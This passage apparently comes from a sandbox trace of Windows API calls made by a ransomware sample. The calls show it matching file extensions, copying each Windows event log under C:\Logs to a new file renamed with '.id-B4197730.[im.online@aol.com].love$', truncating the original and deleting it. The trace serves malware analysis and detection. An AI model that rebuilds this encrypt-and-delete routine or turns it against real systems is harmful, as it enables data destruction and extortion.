(lpString1=".xls", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".xlsx") returned 5 [0120.615] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.615] lstrlenW (lpString=".ppt") returned 4 [0120.615] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.615] lstrlenW (lpString=".zip") returned 4 [0120.615] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".rar") returned 4 [0120.615] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".bz2") returned 4 [0120.615] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".7z") returned 3 [0120.615] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString=".dbf") returned 4 [0120.616] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString=".1cd") returned 4 [0120.616] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString=".jpg") returned 4 [0120.616] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString=".doc") returned 4 [0120.616] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString=".docx") returned 5 [0120.616] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.616] lstrlenW (lpString=".pdf") returned 4 [0120.616] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString=".xls") returned 4 [0120.616] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString=".xlsx") returned 5 [0120.616] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.616] lstrlenW (lpString=".ppt") returned 4 [0120.616] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.616] lstrlenW (lpString=".zip") returned 4 [0120.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString=".rar") returned 4 [0120.616] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.616] lstrlenW (lpString=".bz2") returned 4 [0120.617] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.617] lstrlenW (lpString=".7z") returned 3 [0120.617] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.631] lstrlenW (lpString=".dbf") returned 4 [0120.631] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.631] lstrlenW (lpString=".1cd") returned 4 [0120.631] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.631] lstrlenW (lpString=".jpg") returned 4 [0120.631] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.632] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.632] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0120.632] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.633] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0120.633] CloseHandle (hObject=0x394) returned 1 [0120.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0120.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.633] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.634] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.634] GetLastError () returned 0x0 [0120.634] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.638] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.640] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.640] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x144, lpOverlapped=0x0) returned 1 [0120.641] SetEndOfFile (hFile=0x2d8) returned 1 [0120.641] CloseHandle (hObject=0x2d8) returned 1 [0120.643] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.643] SetEndOfFile (hFile=0x394) returned 1 [0120.645] CloseHandle (hObject=0x394) returned 1 [0120.645] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.646] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0120.646] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.646] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.646] lstrlenW (lpString=".doc") returned 4 [0120.646] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.646] lstrlenW (lpString=".docx") returned 5 [0120.646] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.646] lstrlenW (lpString=".pdf") returned 4 [0120.646] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.646] lstrlenW (lpString=".xls") returned 4 [0120.646] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.646] lstrlenW (lpString=".xlsx") returned 5 [0120.646] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.646] lstrlenW (lpString=".ppt") returned 4 [0120.647] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString=".zip") returned 4 [0120.647] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString=".rar") returned 4 [0120.647] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString=".bz2") returned 4 [0120.647] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString=".7z") returned 3 [0120.647] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString=".dbf") returned 4 [0120.647] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString=".1cd") returned 4 [0120.647] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString=".jpg") returned 4 [0120.647] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.647] lstrlenW (lpString=".doc") returned 4 [0120.647] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString=".docx") returned 5 [0120.647] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.647] lstrlenW (lpString=".pdf") returned 4 [0120.647] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.647] lstrlenW (lpString=".xls") returned 4 [0120.648] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString=".xlsx") returned 5 [0120.648] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.648] lstrlenW (lpString=".ppt") returned 4 [0120.648] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.648] lstrlenW (lpString=".zip") returned 4 [0120.648] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString=".rar") returned 4 [0120.648] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString=".bz2") returned 4 [0120.648] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString=".7z") returned 3 [0120.648] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.648] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.648] lstrlenW (lpString=".dbf") returned 4 [0120.648] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.648] lstrlenW (lpString=".1cd") returned 4 [0120.648] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.648] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0120.648] lstrlenW (lpString=".jpg") returned 4 [0120.648] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.649] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.649] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0120.649] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.649] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0120.649] CloseHandle (hObject=0x394) returned 1 [0120.649] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0120.649] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.649] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.650] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.650] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.650] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.650] GetLastError () returned 0x0 [0120.650] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.082] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.085] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0121.086] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0121.086] SetEndOfFile (hFile=0x2d8) returned 1 [0121.086] CloseHandle (hObject=0x2d8) returned 1 [0121.089] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.089] SetEndOfFile (hFile=0x394) returned 1 [0121.091] CloseHandle (hObject=0x394) returned 1 [0121.091] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.091] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0121.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.092] lstrlenW (lpString=".doc") returned 4 [0121.092] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".docx") returned 5 [0121.092] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.092] lstrlenW (lpString=".pdf") returned 4 [0121.092] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".xls") returned 4 [0121.092] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".xlsx") returned 5 [0121.092] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.092] lstrlenW (lpString=".ppt") returned 4 [0121.092] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.092] lstrlenW (lpString=".zip") returned 4 [0121.092] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".rar") returned 4 [0121.092] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".bz2") returned 4 [0121.092] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.092] lstrlenW (lpString=".7z") returned 3 [0121.092] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.092] lstrlenW (lpString=".dbf") returned 4 [0121.093] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.093] lstrlenW (lpString=".1cd") returned 4 [0121.093] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.093] lstrlenW (lpString=".jpg") returned 4 [0121.093] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.093] lstrlenW (lpString=".doc") returned 4 [0121.093] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString=".docx") returned 5 [0121.093] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.093] lstrlenW (lpString=".pdf") returned 4 [0121.093] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString=".xls") returned 4 [0121.093] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString=".xlsx") returned 5 [0121.093] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.093] lstrlenW (lpString=".ppt") returned 4 [0121.093] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.093] lstrlenW (lpString=".zip") returned 4 [0121.093] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString=".rar") returned 4 [0121.093] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.093] lstrlenW (lpString=".bz2") returned 4 [0121.094] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.094] lstrlenW (lpString=".7z") returned 3 [0121.094] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.094] lstrlenW (lpString=".dbf") returned 4 [0121.094] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.094] lstrlenW (lpString=".1cd") returned 4 [0121.094] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0121.094] lstrlenW (lpString=".jpg") returned 4 [0121.094] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.094] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.094] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0121.094] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.096] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0121.097] CloseHandle (hObject=0x394) returned 1 [0121.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0121.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.097] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.097] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.098] GetLastError () returned 0x0 [0121.098] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.103] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.105] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0121.105] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x132, lpOverlapped=0x0) returned 1 [0121.106] SetEndOfFile (hFile=0x2d8) returned 1 [0121.106] CloseHandle (hObject=0x2d8) returned 1 [0121.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.109] SetEndOfFile (hFile=0x394) returned 1 [0121.111] CloseHandle (hObject=0x394) returned 1 [0121.111] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.112] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0121.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.112] lstrlenW (lpString=".doc") returned 4 [0121.112] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.112] lstrlenW (lpString=".docx") returned 5 [0121.112] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.112] lstrlenW (lpString=".pdf") returned 4 [0121.112] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString=".xls") returned 4 [0121.113] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString=".xlsx") returned 5 [0121.113] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.113] lstrlenW (lpString=".ppt") returned 4 [0121.113] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString=".zip") returned 4 [0121.113] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString=".rar") returned 4 [0121.113] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString=".bz2") returned 4 [0121.113] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString=".7z") returned 3 [0121.113] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString=".dbf") returned 4 [0121.113] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString=".1cd") returned 4 [0121.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString=".jpg") returned 4 [0121.113] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.113] lstrlenW 